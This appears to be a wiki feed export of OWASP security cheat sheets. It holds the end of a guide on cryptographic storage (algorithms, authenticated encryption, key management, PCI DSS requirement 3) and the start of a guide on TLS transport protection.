=== Rule - Only store sensitive data that you need ===&lt;br /&gt;
&lt;br /&gt;
Many eCommerce businesses utilize third party payment providers to store credit card information for recurring billing. This offloads the burden of keeping credit card numbers safe.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Use strong approved Authenticated Encryption  ===&lt;br /&gt;
E.g. [http://en.wikipedia.org/wiki/CCM_mode CCM] or [http://en.wikipedia.org/wiki/GCM_mode GCM] are approved [http://en.wikipedia.org/wiki/Authenticated_encryption Authenticated Encryption] modes based on [http://en.wikipedia.org/wiki/Advanced_Encryption_Standard AES] algorithm.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Use strong approved cryptographic algorithms ====&lt;br /&gt;
Do not implement an existing cryptographic algorithm on your own, no matter how easy it appears. Instead, use widely accepted algorithms and widely accepted implementations. &lt;br /&gt;
&lt;br /&gt;
Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing. Do not use weak algorithms, such as MD5 or SHA1. Avoid hashing for password storage, instead use Argon2, PBKDF2, bcrypt or scrypt. Note that the classification of a &amp;quot;strong&amp;quot; cryptographic algorithm can change over time. See [http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r4.pdf NIST approved algorithms] or ISO TR 14742 “Recommendations on Cryptographic Algorithms and their use” or [http://www.enisa.europa.eu/activities/identity-and-trust/library/deliverables/algorithms-key-size-and-parameters-report-2014/at_download/fullReport Algorithms, key size and parameters report – 2014] from European Union Agency for Network and Information Security. &lt;br /&gt;
E.g. [http://en.wikipedia.org/wiki/Advanced_Encryption_Standard AES] 128, [http://en.wikipedia.org/wiki/RSA_(cryptosystem) RSA] 3072, [http://en.wikipedia.org/wiki/Secure_Hash_Algorithm SHA] 256. &lt;br /&gt;
&lt;br /&gt;
Ensure that the implementation has (at minimum) had some cryptography experts involved in its creation. If possible, use an implementation that is FIPS 140-2 certified. &lt;br /&gt;
&lt;br /&gt;
See [http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r4.pdf NIST approved algorithms] Table 2 “Comparable strengths” for the strength (“security bits”) of different algorithms and key lengths, and how they compare to each other. &lt;br /&gt;
&lt;br /&gt;
* In general, where different algorithms are used, they should have comparable strengths e.g. if an AES-128 key is to be encrypted, an AES-128 key or greater, or RSA-3072 or greater could be used to encrypt it. &lt;br /&gt;
* In general, hash lengths are twice as long as the security bits offered by the symmetric/asymmetric algorithm&amp;amp;nbsp; e.g. SHA-224 for 3TDEA (112 security bits) (due to the [http://en.wikipedia.org/wiki/Birthday_attack Birthday Attack])&lt;br /&gt;
&lt;br /&gt;
If a password is being used to protect keys then the [http://en.wikipedia.org/wiki/Password_strength password strength]should be sufficient for the strength of the keys it is protecting.&lt;br /&gt;
&lt;br /&gt;
When 3DES is used, ensure K1 != K2 != K3, and the minimum key length must be 192 bit.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Use approved cryptographic modes  ====&lt;br /&gt;
In general, you should not use AES, DES or other symmetric cipher primitives directly. [http://csrc.nist.gov/groups/ST/toolkit/BCM/current_modes.html NIST approved modes] should be used instead. &lt;br /&gt;
&lt;br /&gt;
NOTE: Do not use [http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Electronic_codebook_.28ECB.29 ECB mode] for encrypting lots of data (the other modes are better because they chain the blocks of data together to improve the data security).&lt;br /&gt;
&lt;br /&gt;
==== Rule - Use strong random numbers  ====&lt;br /&gt;
Ensure that all random numbers, especially those used for cryptographic parameters (keys, IV’s, MAC tags), random file names, random GUIDs, and random strings are generated in a cryptographically strong fashion. &lt;br /&gt;
&lt;br /&gt;
Ensure that random algorithms are seeded with sufficient entropy.&lt;br /&gt;
&lt;br /&gt;
Tools like [http://csrc.nist.gov/groups/ST/toolkit/rng/documentation_software.html NIST RNG Test tool] (as used in PCI PTS Derived Test Requirements) can be used to comprehensively assess the quality of a Random Number Generator by reading e.g. 128MB of data from the RNG source and then assessing its randomness properties with the tool.&lt;br /&gt;
&lt;br /&gt;
The following libraries are considered '''weak''' random numbers generators and should not be used.&lt;br /&gt;
&lt;br /&gt;
* C library: &amp;lt;code&amp;gt;random()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;rand()&amp;lt;/code&amp;gt;  — use [http://man7.org/linux/man-pages/man2/getrandom.2.html getrandom(2)] instead&lt;br /&gt;
* Java library: &amp;lt;code&amp;gt;java.util.Random()&amp;lt;/code&amp;gt;  — use &amp;lt;code&amp;gt;java.security.SecureRandom&amp;lt;/code&amp;gt; instead&lt;br /&gt;
&lt;br /&gt;
For secure random number generation, refer to NIST SP 800-90A. CTR-DRBG、HASH-DRBG、HMAC-DRBG are recommended.&lt;br /&gt;
Refer to NIST SP800-22 A Statistical Test Suite for Random and Pseudorandom Number Generators for Cryptographic Applications, and the testing toolkit.&lt;br /&gt;
&lt;br /&gt;
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-22r1a.pdf&lt;br /&gt;
http://csrc.nist.gov/groups/ST/toolkit/rng/documents/sts-2.1.2.zip&lt;br /&gt;
&lt;br /&gt;
==== Rule - Use Authenticated Encryption of data ====&lt;br /&gt;
Use ([http://en.wikipedia.org/wiki/Authenticated_encryption AE]) modes under a uniform API. Recommended modes include [http://en.wikipedia.org/wiki/CCM_mode CCM], and [http://en.wikipedia.org/wiki/Galois/Counter_Mode GCM] as these, and only these as of November 2014, are specified in [http://csrc.nist.gov/groups/ST/toolkit/BCM/current_modes.html NIST approved modes], ISO IEC 19772 (2009) &amp;quot;Information technology — Security techniques — Authenticated encryption&amp;quot;, and [http://en.wikipedia.org/wiki/IEEE_P1619 IEEE P1619 Standard for Cryptographic Protection of Data on Block-Oriented Storage Devices] &lt;br /&gt;
&lt;br /&gt;
* [http://en.wikipedia.org/wiki/Authenticated_encryption Authenticated Encryption] gives [http://en.wikipedia.org/wiki/Confidentiality confidentiality],&amp;amp;nbsp;[http://en.wikipedia.org/wiki/Data_integrity integrity], and&amp;amp;nbsp;[http://en.wikipedia.org/wiki/Authentication authenticity] (CIA); encryption alone just gives confidentiality. Encryption must always be combined with message integrity and authenticity protection. Otherwise the ciphertext may be vulnerable to manipulation causing changes to the underlying plaintext data, especially if it's being passed over untrusted channels (e.g. in an URL or cookie). &lt;br /&gt;
* These modes require only one key. In general, the tag sizes and the IV sizes should be set to maximum values.&lt;br /&gt;
&lt;br /&gt;
If these recommended [http://en.wikipedia.org/wiki/Authenticated_encryption AE] modes are not available&lt;br /&gt;
&lt;br /&gt;
* combine encryption in [http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29 cipher-block chaining (CBC) mode] with post-encryption message authentication code, such as [http://en.wikipedia.org/wiki/HMAC HMAC] or [http://en.wikipedia.org/wiki/CMAC CMAC] i.e. Encrypt-then-MAC. &lt;br /&gt;
** Note that Integrity and Authenticity are preferable to Integrity alone i.e. a MAC such as HMAC-SHA256 or HMAC-SHA512 is a better choice than SHA-256 or SHA-512.&lt;br /&gt;
* Use 2 independent keys for these 2 independent operations. &lt;br /&gt;
* Do not use ECB mode. CDC is preferred.&lt;br /&gt;
* Do not use [http://en.wikipedia.org/wiki/CBC-MAC#Security_with_fixed_and_variable-length_messages CBC MAC for variable length data] &lt;br /&gt;
* The [http://csrc.nist.gov/groups/STM/cavp/index.html CAVP program] is a good default place to go for validation of cryptographic algorithms when one does not have AES or one of the authenticated encryption modes that provide confidentiality and authenticity (i.e., data origin authentication) such as CCM, EAX, CMAC, etc. For Java, if you are using SunJCE that will be the case. The cipher modes supported in JDK 1.5 and later are CBC, CFB, CFBx, CTR, CTS, ECB, OFB, OFBx, PCBC. None of these cipher modes are authenticated encryption modes. (That's why it is added explicitly.) If you are using an alternate JCE provider such as Bouncy Castle, RSA JSafe, IAIK, etc., then these authenticated encryption modes should be used.&lt;br /&gt;
&lt;br /&gt;
Note: [http://en.wikipedia.org/wiki/Disk_encryption_theory Disk encryption]&amp;amp;nbsp;is a special case of&amp;amp;nbsp;[http://en.wikipedia.org/wiki/Data_at_Rest data at rest]&amp;amp;nbsp;e.g. Encrypted File System on a Hard Disk Drive. [http://csrc.nist.gov/publications/nistpubs/800-38E/nist-sp-800-38E.pdf XTS-AES mode] is optimized for Disk encryption and is one of the [http://csrc.nist.gov/groups/ST/toolkit/BCM/current_modes.html NIST approved modes]&amp;lt;nowiki&amp;gt;; it provides confidentiality and some protection against data manipulation (but not as strong as the &amp;lt;/nowiki&amp;gt;[http://en.wikipedia.org/wiki/Authenticated_encryption AE] [http://csrc.nist.gov/groups/ST/toolkit/BCM/current_modes.html NIST approved modes]). It is also specified in [http://en.wikipedia.org/wiki/IEEE_P1619 IEEE P1619 Standard for Cryptographic Protection of Data on Block-Oriented Storage Devices]&lt;br /&gt;
&lt;br /&gt;
=== Rule - Store a one-way and salted value of passwords ===&lt;br /&gt;
&lt;br /&gt;
Use PBKDF2, bcrypt or scrypt for password storage. For more information on password storage, please see the [[Password Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Rule - Ensure that the cryptographic protection remains secure even if access controls fail ===&lt;br /&gt;
&lt;br /&gt;
This rule supports the principle of defense in depth. Access controls (usernames, passwords, privileges, etc.) are one layer of protection. Storage encryption should add an additional layer of protection that will continue protecting the data even if an attacker subverts the database access control layer.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Ensure that any secret key is protected from unauthorized access ===&lt;br /&gt;
&lt;br /&gt;
==== Rule - Define a key lifecycle ====&lt;br /&gt;
&lt;br /&gt;
The key lifecycle details the various states that a key will move through during its life. The lifecycle will specify when a key should no longer be used for encryption, when a key should no longer be used for decryption (these are not necessarily coincident), whether data must be rekeyed when a new key is introduced, and when a key should be removed from use all together.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Store unencrypted keys away from the encrypted data ====&lt;br /&gt;
&lt;br /&gt;
If the keys are stored with the data then any compromise of the data will easily compromise the keys as well. Unencrypted keys should never reside on the same machine or cluster as the data.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Use independent keys when multiple keys are required ====&lt;br /&gt;
&lt;br /&gt;
Ensure that key material is independent. That is, do not choose a second key which is easily related to the first (or any preceeding) keys.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Protect keys in a key vault ====&lt;br /&gt;
&lt;br /&gt;
Keys should remain in a protected key vault at all times. In particular, ensure that there is a gap between the threat vectors that have direct access to the data and the threat vectors that have direct access to the keys. This implies that keys should not be stored on the application or web server (assuming that application attackers are part of the relevant threat model).&lt;br /&gt;
&lt;br /&gt;
==== Rule - Document concrete procedures for managing keys through the lifecycle ====&lt;br /&gt;
&lt;br /&gt;
These procedures must be written down and the key custodians must be adequately trained.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Build support for changing algorithms and keys when needed ====&lt;br /&gt;
&lt;br /&gt;
If keys are compromised or an external authority expires them, key changes will be needed.  Application polices or emergency needs will force application administrators to rotate keys and potentially rekey data at some point. It's best to be prepared to rapidly handle this need when necessary.  Including a key version and encryption algorithm version with the encrypted data is a useful, proactive feature.  For instance, including a simple prefix string, such as &amp;quot;&amp;lt;code&amp;gt;{1,1}...&amp;lt;/code&amp;gt;&amp;quot;, prior to the encrypted data could indicate algorithm version 1, key version 1.  This allows for an &amp;quot;online&amp;quot; change to the encryption algorithm and key without re-encrypting all existing data all at once.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Document concrete procedures to handle a key compromise ====&lt;br /&gt;
&lt;br /&gt;
Ensure operations staff have the information they need, readily available, when rotation of encryption keys must be performed.  Rotating keys should not require changes to source code or other risky deployment measures, since doing this in the middle of an incident will already place a great deal of stress on these staff.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Limit quantity of data encrypted with one key ====&lt;br /&gt;
&lt;br /&gt;
If the amount of data encrypted grows beyond a '''certain threshold''', a new key should be used.  This '''certain threshold''' varies depending on the encryption algorithm used, but is typically 2&amp;lt;sup&amp;gt;35&amp;lt;/sup&amp;gt; bytes (~34 gigabytes) for 64 bit block ciphers (DES, 3DES, Blowfish, RC5, ...) and 2&amp;lt;sup&amp;gt;68&amp;lt;/sup&amp;gt; bytes (~ 295,147,905 terabytes) for 128 bit block ciphers (AES, TwoFish, Serpent).  If encrypting with a modern cipher, this threshold is unlikely to be reached, but it should be considered when evaluating algorithms and rotation procedures.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Follow applicable regulations on use of cryptography ===&lt;br /&gt;
&lt;br /&gt;
==== Rule - Under PCI DSS requirement 3, you must protect cardholder data  ====&lt;br /&gt;
&lt;br /&gt;
The Payment Card Industry (PCI) Data Security Standard (DSS) was developed to encourage and enhance cardholder data security and facilitate the broad adoption of consistent data security measures globally. The standard was introduced in 2005 and replaced individual compliance standards from Visa, Mastercard, Amex, JCB and Diners. The current version of the standard is 3.1 and was published in April, 2015. &lt;br /&gt;
&lt;br /&gt;
PCI DSS requirement 3 covers secure storage of credit card data. This requirement covers several aspects of secure storage including the data you must never store but we are covering Cryptographic Storage which is covered in requirements 3.4, 3.5 and 3.6 as you can see below: &lt;br /&gt;
&lt;br /&gt;
'''3.4 Render PAN (Primary Account Number), at minimum, unreadable anywhere it is stored''' &lt;br /&gt;
&lt;br /&gt;
Compliance with requirement 3.4 can be met by implementing any of the four types of secure storage described in the standard which includes encrypting and hashing data. These two approaches will often be the most popular choices from the list of options. The standard doesn't refer to any specific algorithms but it mandates the use of '''Strong Cryptography'''. The glossary document from the PCI council defines '''Strong Cryptography''' as: &lt;br /&gt;
&lt;br /&gt;
''Cryptography based on industry-tested and accepted algorithms, along with strong key lengths and proper key-management practices. Cryptography is a method to protect data and includes both encryption (which is reversible) and hashing (which is not reversible, or “one way”). SHA-1 is an example of an industry-tested and accepted hashing algorithm. Examples of industry-tested and accepted standards and algorithms for encryption include AES (128 bits and higher), TDES (minimum double-length keys), RSA (1024 bits and higher), ECC (160 bits and higher), and ElGamal (1024 bits and higher).'' &lt;br /&gt;
&lt;br /&gt;
If you have implemented the second rule in this cheat sheet you will have implemented a strong cryptographic algorithm which is compliant with or stronger than the requirements of PCI DSS requirement 3.4. You need to ensure that you identify all locations that card data could be stored including logs and apply the appropriate level of protection. This could range from encrypting the data to replacing the card number in logs. &lt;br /&gt;
&lt;br /&gt;
This requirement can also be met by implementing disk encryption rather than file or column level encryption. The requirements for '''Strong Cryptography''' are the same for disk encryption and backup media. The card data should never be stored in the clear and by following the guidance in this cheat sheet you will be able to securely store your data in a manner which is compliant with PCI DSS requirement 3.4 &lt;br /&gt;
&lt;br /&gt;
'''3.5  Protect any keys used to secure cardholder data against disclosure and misuse''' &lt;br /&gt;
&lt;br /&gt;
As the requirement name above indicates, we are required to securely store the encryption keys themselves. This will mean implementing strong access control, auditing and logging for your keys. The keys must be stored in a location which is both secure and &amp;quot;away&amp;quot; from the encrypted data. This means key data shouldn't be stored on web servers, database servers etc &lt;br /&gt;
&lt;br /&gt;
Access to the keys must be restricted to the smallest amount of users possible. This group of users will ideally be users who are highly trusted and trained to perform Key Custodian duties. There will obviously be a requirement for system/service accounts to access the key data to perform encryption/decryption of data. &lt;br /&gt;
&lt;br /&gt;
The keys themselves shouldn't be stored in the clear but encrypted with a KEK (Key Encrypting Key). The KEK must not be stored in the same location as the encryption keys it is encrypting. &lt;br /&gt;
&lt;br /&gt;
'''3.6 Fully document and implement all key-management processes and procedures for cryptographic keys used for encryption of cardholder data''' &lt;br /&gt;
&lt;br /&gt;
Requirement 3.6 mandates that key management processes within a PCI compliant company cover 8 specific key lifecycle steps: &lt;br /&gt;
&lt;br /&gt;
'''3.6.1 Generation of strong cryptographic keys''' &lt;br /&gt;
&lt;br /&gt;
As we have previously described in this cheat sheet we need to use algorithms which offer high levels of data security. We must also generate strong keys so that the security of the data isn't undermined by weak cryptographic keys. A strong key is generated by using a key length which is sufficient for your data security requirements and compliant with the PCI DSS. The key size alone isn't a measure of the strength of a key. The data used to generate the key must be sufficiently random (&amp;quot;sufficient&amp;quot; often being determined by your data security requirements) and the entropy of the key data itself must be high.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''3.6.2 Secure cryptographic key distribution''' &lt;br /&gt;
&lt;br /&gt;
The method used to distribute keys must be secure to prevent the theft of keys in transit. The use of a protocol such as Diffie Hellman can help secure the distribution of keys, the use of secure transport such as TLS and SSHv2 can also secure the keys in transit. Older protocols like SSLv3 should not be used.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''3.6.3 Secure cryptographic key storage'''&lt;br /&gt;
&lt;br /&gt;
The secure storage of encryption keys including KEK's has been touched on in our description of requirement 3.5 (see above).&lt;br /&gt;
&lt;br /&gt;
'''3.6.4 Periodic cryptographic key changes'''&lt;br /&gt;
&lt;br /&gt;
The PCI DSS standard mandates that keys used for encryption must be rotated at least annually. The key rotation process must remove an old key from the encryption/decryption process and replace it with a new key. All new data entering the system must encrypted with the new key. While it is recommended that existing data be rekeyed with the new key, as per the Rekey data at least every one to three years rule above, it is not clear that the PCI DSS requires this.&lt;br /&gt;
&lt;br /&gt;
'''3.6.5 Retirement or replacement of keys as deemed necessary when the integrity of the key has been weakened or keys are suspected of being compromised'''&lt;br /&gt;
&lt;br /&gt;
The key management processes must cater for archived, retired or compromised keys. The process of securely storing and replacing these keys will more than likely be covered by your processes for requirements 3.6.2, 3.6.3 and 3.6.4&lt;br /&gt;
&lt;br /&gt;
'''3.6.6 Split knowledge and establishment of dual control of cryptographic keys'''&lt;br /&gt;
&lt;br /&gt;
The requirement for split knowledge and/or dual control for key management prevents an individual user performing key management tasks such as key rotation or deletion. The system should require two individual users to perform an action (i.e. entering a value from their own OTP) which creates to separate values which are concatenated to create the final key data.&lt;br /&gt;
&lt;br /&gt;
'''3.6.7 Prevention of unauthorized substitution of cryptographic keys'''&lt;br /&gt;
&lt;br /&gt;
The system put in place to comply with requirement 3.6.6 can go a long way to preventing unauthorised substitution of key data. In addition to the dual control process you should implement strong access control, auditing and logging for key data so that unauthorised access attempts are prevented and logged.&lt;br /&gt;
&lt;br /&gt;
'''3.6.8 Requirement for cryptographic key custodians to sign a form stating that they understand and accept their key-custodian responsibilities '''&lt;br /&gt;
&lt;br /&gt;
To perform the strong key management functions we have seen in requirement 3.6 we must have highly trusted and trained key custodians who understand how to perform key management duties. The key custodians must also sign a form stating they understand the responsibilities that come with this role.&lt;br /&gt;
&lt;br /&gt;
= Related Articles  =&lt;br /&gt;
&lt;br /&gt;
OWASP - [[Testing for SSL-TLS (OWASP-CM-001)|Testing for SSL-TLS]], and OWASP [[Guide to Cryptography]] &lt;br /&gt;
&lt;br /&gt;
OWASP – [http://www.owasp.org/index.php/ASVS Application Security Verification Standard (ASVS) – Communication Security Verification Requirements (V10)]&lt;br /&gt;
ssllabs Wiki - https://github.com/ssllabs/research/wiki&lt;br /&gt;
&lt;br /&gt;
OWASP - https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Kevin Kenan - kevin[at]k2dd.com&amp;lt;br/&amp;gt;&lt;br /&gt;
David Rook - david.a.rook[at]gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Kevin Wall - kevin.w.wall[at]gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Fred Donovan - fred.donovan(at)owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet&amp;diff=241303</id>
		<title>Transport Layer Protection Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet&amp;diff=241303"/>
				<updated>2018-06-14T06:25:32Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Correct misspelling&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This cheat sheet provides a simple model to follow when implementing transport layer protection for an application. Although the concept of SSL is known to many, the actual details and security specific decisions of implementation are often poorly understood and frequently result in insecure deployments. This article establishes clear rules which provide guidance on securely designing and configuring transport layer security for an application. This article is focused on the use of SSL/TLS between a web application and a web browser, but we also encourage the use of SSL/TLS or other network encryption technologies, such as VPN, on back end and other non-browser based connections.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Architectural Decision  ==&lt;br /&gt;
&lt;br /&gt;
An architectural decision must be made to determine the appropriate method to protect data when it is being transmitted.  The most common options available to corporations are Virtual Private Networks (VPN) or a SSL/TLS model commonly used by web applications. The selected model is determined by the business needs of the particular organization. For example, a VPN connection may be the best design for a partnership between two companies that includes mutual access to a shared server over a variety of protocols. Conversely, an Internet facing enterprise web application would likely be best served by a SSL/TLS model. &lt;br /&gt;
&lt;br /&gt;
TLS is mainly a defence against man-in-the-middle attacks. An TLS Threat Model is one that starts with the question ''&amp;quot;What is the business impact of an attacker's ability to observe, intercept and manipulate the traffic between the client and the server&amp;quot;''.&lt;br /&gt;
&lt;br /&gt;
This cheat sheet will focus on security considerations when the SSL/TLS model is selected. This is a frequently used model for publicly accessible web applications.&lt;br /&gt;
&lt;br /&gt;
= Providing Transport Layer Protection with SSL/TLS  =&lt;br /&gt;
&lt;br /&gt;
== Benefits  ==&lt;br /&gt;
&lt;br /&gt;
The primary benefit of transport layer security is the protection of web application data from unauthorized disclosure and modification when it is transmitted between clients (web browsers) and the web application server, and between the web application server and back end and other non-browser based enterprise components. &lt;br /&gt;
&lt;br /&gt;
The server validation component of TLS provides authentication of the server to the client.  If configured to require client side certificates, TLS can also play a role in client authentication to the server. However, in practice client side certificates are not often used in lieu of username and password based authentication models for clients.&lt;br /&gt;
&lt;br /&gt;
TLS also provides two additional benefits that are commonly overlooked; integrity guarantees and replay prevention. A TLS stream of communication contains built-in controls to prevent tampering with any portion of the encrypted data. In addition, controls are also built-in to prevent a captured stream of TLS data from being replayed at a later time.&lt;br /&gt;
&lt;br /&gt;
It should be noted that TLS provides the above guarantees to data during transmission. TLS does not offer any of these security benefits to data that is at rest. Therefore appropriate security controls must be added to protect data while at rest within the application or within data stores.&lt;br /&gt;
&lt;br /&gt;
* Use TLS, as SSL is no longer considered usable for security&lt;br /&gt;
&lt;br /&gt;
* All pages must be served over HTTPS. This includes css, scripts, images, AJAX requests, POST data and third party includes. Failure to do so creates a vector for man-in-the-middle attacks.&lt;br /&gt;
&lt;br /&gt;
* Just protecting authenticated pages with HTTPS, is not enough. Once there is one request in HTTP, man-in-the-middle attacks are possible, with the attackers being able to prevent users from reaching the secured pages.&lt;br /&gt;
&lt;br /&gt;
* the [[HTTP Strict Transport Security]] Header must be used and [https://hstspreload.appspot.com/ pre loaded into browsers]. This will instruct compatible browsers to only use HTTPS, even if requested to use HTTP.&lt;br /&gt;
&lt;br /&gt;
* Cookies must be marked as Secure&lt;br /&gt;
&lt;br /&gt;
== Basic Requirements ==&lt;br /&gt;
&lt;br /&gt;
The basic requirements for using TLS are: access to a Public Key Infrastructure (PKI) in order to obtain certificates, access to a directory or an Online Certificate Status Protocol (OCSP) responder in order to check certificate revocation status, and agreement/ability to support a minimum configuration of protocol versions and protocol options for each version.&lt;br /&gt;
&lt;br /&gt;
== SSL vs. TLS  ==&lt;br /&gt;
&lt;br /&gt;
The terms, Secure Socket Layer (SSL) and Transport Layer Security (TLS) are often used interchangeably. In fact, SSL v3.1 is equivalent to TLS v1.0. However, different versions of SSL and TLS are supported by modern web browsers and by most modern web frameworks and platforms. For the purposes of this cheat sheet we will refer to the technology generically as TLS. Recommendations regarding the use of SSL and TLS protocols, as well as browser support for TLS, can be found in the rule below titled [[Transport_Layer_Protection_Cheat_Sheet#Rule_-_Only_Support_Strong_Protocols| &amp;quot;Only Support Strong Protocols&amp;quot;]].&lt;br /&gt;
&lt;br /&gt;
[[Image:Asvs_cryptomodule.gif|thumb|350px|right|Cryptomodule Parts and Operation]]&lt;br /&gt;
&lt;br /&gt;
== When to Use a FIPS 140-2 Validated Cryptomodule ==&lt;br /&gt;
&lt;br /&gt;
If the web application may be the target of determined attackers (a common threat model for Internet accessible applications handling sensitive data), it is strongly advised to use TLS services that are provided by [http://csrc.nist.gov/groups/STM/cmvp/validation.html FIPS 140-2 validated cryptomodules]. &lt;br /&gt;
&lt;br /&gt;
A cryptomodule, whether it is a software library or a hardware device, basically consists of three parts:&lt;br /&gt;
&lt;br /&gt;
* Components that implement cryptographic algorithms (symmetric and asymmetric algorithms, hash algorithms, random number generator algorithms, and message authentication code algorithms) &lt;br /&gt;
* Components that call and manage cryptographic functions (inputs and outputs include cryptographic keys and so-called critical security parameters) &lt;br /&gt;
* A physical container around the components that implement cryptographic algorithms and the components that call and manage cryptographic functions&lt;br /&gt;
&lt;br /&gt;
The security of a cryptomodule and its services (and the web applications that call the cryptomodule) depend on the correct implementation and integration of each of these three parts. In addition, the cryptomodule must be used and accessed securely. The includes consideration for:&lt;br /&gt;
&lt;br /&gt;
* Calling and managing cryptographic functions&lt;br /&gt;
* Securely Handling inputs and output&lt;br /&gt;
* Ensuring the secure construction of the physical container around the components&lt;br /&gt;
&lt;br /&gt;
In order to leverage the benefits of TLS it is important to use a TLS service (e.g. library, web framework, web application server) which has been FIPS 140-2 validated. In addition, the cryptomodule must be installed, configured and operated in either an approved or an allowed mode to provide a high degree of certainty that the FIPS 140-2 validated cryptomodule is providing the expected security services in the expected manner.&lt;br /&gt;
&lt;br /&gt;
If the system is legally required to use FIPS 140-2 encryption (e.g., owned or operated by or on behalf of the U.S. Government) then TLS must be used and SSL disabled. Details on why SSL is unacceptable are described in Section 7.1 of [http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-2/FIPS1402IG.pdf Implementation Guidance for FIPS PUB 140-2 and the Cryptographic Module Validation Program].&lt;br /&gt;
&lt;br /&gt;
Further reading on the use of TLS to protect highly sensitive data against determined attackers can be viewed in [http://csrc.nist.gov/publications/nistpubs/800-52/SP800-52.pdf SP800-52 Guidelines for the Selection and Use of Transport Layer Security (TLS) Implementations]&lt;br /&gt;
&lt;br /&gt;
== Secure Server Design  ==&lt;br /&gt;
&lt;br /&gt;
=== Rule - Use TLS or Other Strong Transport Everywhere  ===&lt;br /&gt;
&lt;br /&gt;
All networks, both external and internal, must utilize TLS or an equivalent transport layer security mechanism for all communication. It is not sufficient to claim that access to the internal network is &amp;quot;restricted to employees&amp;quot;. Numerous recent data compromises have shown that the internal network can be breached by attackers. In these attacks, sniffers have been installed to access unencrypted sensitive data sent on the internal network.&lt;br /&gt;
&lt;br /&gt;
The login page and all subsequent authenticated pages must be exclusively accessed over TLS. The initial login page, referred to as the &amp;quot;login landing page&amp;quot;, must be served over TLS. Failure to utilize TLS for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location. Failure to utilize TLS for authenticated pages after the login enables an attacker to view the unencrypted session ID and compromise the user's authenticated session. &lt;br /&gt;
&lt;br /&gt;
Even marketing or other low-security websites still require TLS. Lack of TLS leads to a lack of integrity which allows attackers to modify content in transit. Also, sites that do not provide TLS are marked lower in pagerank for SEO.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Do Not Provide Non-TLS Pages for Secure Content  ===&lt;br /&gt;
&lt;br /&gt;
All pages which are available over TLS must not be available over a non-TLS connection. A user may inadvertently bookmark or manually type a URL to a HTTP page (e.g. http://example.com/myaccount) within the authenticated portion of the application. If this request is processed by the application then the response, and any sensitive data, would be returned to the user over the clear text HTTP.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Do Not Mix TLS and Non-TLS Content  ===&lt;br /&gt;
&lt;br /&gt;
A page that is available over TLS must be comprised completely of content which is transmitted over TLS. The page must not contain any content that is transmitted over unencrypted HTTP. This includes content from unrelated third party sites. &lt;br /&gt;
&lt;br /&gt;
An attacker could intercept any of the data transmitted over the unencrypted HTTP and inject malicious content into the user's page. This malicious content would be included in the page even if the overall page is served over TLS. In addition, an attacker could steal the user's session cookie that is transmitted with any non-TLS requests. This is possible if the cookie's 'secure' flag is not set. See the rule 'Use &amp;quot;Secure&amp;quot; Cookie Flag'&lt;br /&gt;
&lt;br /&gt;
=== Rule - Use &amp;quot;Secure&amp;quot; Cookie Flag  ===&lt;br /&gt;
&lt;br /&gt;
